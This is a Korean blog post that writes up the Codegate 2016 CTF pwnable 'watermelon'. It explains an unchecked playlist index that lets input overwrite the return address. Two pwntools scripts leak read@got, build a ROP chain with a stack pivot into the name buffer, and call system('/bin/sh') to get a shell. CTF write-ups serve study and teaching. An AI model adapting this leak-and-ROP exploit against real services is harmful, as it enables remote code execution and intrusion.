블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 2. 23. 11:39 Hack/포너블

Codegate 2016 문제 중 하나인 watermelon이다.

watermelon.zip


<프로그램 결과>

playlist를 추가하고 수정하는 프로그램이다. 3. Modify playlist로 추가하지 않은 index의 playlist를 수정할 수 있는데, 이곳이 취약점으로 발전된다.


<gdb>

3. Modify playlist 로 0번째 목록을 수정하면 위와 같은 상황이 된다.

ebp의 주소가 0xffffc3d8인데 read 함수의 매개변수로 들어가는 주소가 0xffffc3d4이다. music과 artist의 입력 길이가 220이므로 ret를 변조할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time
 
repeat_time = 0.5
 
proc = remote("localhost"9002)
 
def recv() :
    proc.recvrepeat(repeat_time)
def recv_send(value) :
    recv()
    proc.sendline(value)
 
recv_send('hyeon')    # name
recv_send('3')        # modify
recv_send('0')        # index : 0
 
recv()
# music : AAAABBBB printf@plt - ori_ret - read@got.plt
proc.send('AAAABBBB' + p32(0x08048500+ p32(0x8049575+ p32(0x804c00c))
recv_send('b')        # artist
 
for i in range(08) :
    proc.recvline()
 
# get read addr
temp = proc.recv()[:4];
read_addr = ''
for i in reversed(range(04)) :
    read_addr += temp[i]
read_addr = '0x' + read_addr.encode('hex')
 
print("read addr : " + read_addr)
cs

<libc python code>

<libc python 결과>

<libc-databse libc 버전>

read함수의 got 값을 이용해서 libc버전을 구할 수 있다. 이를 이용해서 system 함수의 주소를 알아내면 된다.

리틀 엔디안을 고려하여 출력 값을 반전 시켜줘야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import time
 
repeat_time = 0.3
 
def recv(proc) :
    return proc.recvrepeat(repeat_time)
def recv_send(proc, value) :
    recv(proc)
    proc.sendline(value)
 
def func() :
    proc = remote("localhost"9002)
 
    recv_send(proc, 'hyeon')    # name
    recv_send(proc, '3')        # modify
    recv_send(proc, '0')        # index : 0
 
    name_addr = 0x804d7a0
    # music : AAAA - BBBB - printf@plt - pop edi - read@got.plt
    recv(proc)
    proc.send('AAAA' + 'BBBB' + p32(0x8048500+ p32(0x8049a6a+ p32(0x804c00c))
    # artist : name - read@plt - leave & ret - 0(stdin) - name - 20
    recv_send(proc, p32(name_addr) + p32(0x080484f0+ p32(0x80496f7+ p32(0+ p32(name_addr) + p32(20))
    
    for i in range(08) :
        proc.recvline()
 
    # check
    temp = recv(proc)[:4]
    if len(temp) < 4 :
        proc.close()
        return 1
    
    # get system addr & bin/sh addr
    read_got = ''
    for i in reversed(range(04)) :
        read_got += temp[i]
    
    read_got = int('0x' + read_got.encode('hex'), 16)
    print('read_got : ' + hex(read_got))
    system_addr = read_got - 0xe4c50 + 0x3de10
    sh_addr = read_got - 0xe4c50 + 0x174055
    
    # name : AAAA - system - BBBB - bin/sh
    proc.send('AAAA' + p32(system_addr) + 'BBBB' + p32(sh_addr))
    
    time.sleep(1)        # wait to open shell
    
    proc.sendline('ls -l watermelon')
 
    print(recv(proc))
    return 0
 
while True :
    if func() == 0 :
        break
cs

<exploit python code>

<pop edi - 0x8049a6a>

맨 처음 ret를 printf@plt로 변조하여 read@got 값을 출력하고 이를 이용해서 system과 /bin/sh의 주소를 구한다. read@got는 ret로 활용할 수 없는데, 그 뒤에 있는 값을 ret로 사용해야 하는 상황이다. 따라서, pop edi를 이용해서 read@got를 edi에 넣고, ebp에 name의 주소를 넣는다.

그 다음 read를 이용해서 name의 값을 "AAAA - system - BBBB - name + 16 - sh"로 변조한다. 그러면, leave를 하면서 esp가 name으로 가게 되고 ret을 통해 system이 실행된다.


페이로드는 다음과 같다.

music & artist : AAAA - BBBB - print@plt - 0x8049a6a - read@got - name - read@plt - leave & ret -  0(stdin) - name - 20

name : AAAA - system - BBBB - /bin/sh


<exploit python 결과>

이상하게 check의 recv에서 값이 잘 넘어오지 않는다. 원인을 파악하지 못해서 일단 반복해서 실행하게 만들었다.


고정되어있는 name 변수를 ebp로 설정하는게 이 풀이의 요지다.

'Hack > 포너블' 카테고리의 다른 글

[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
posted by Nehoy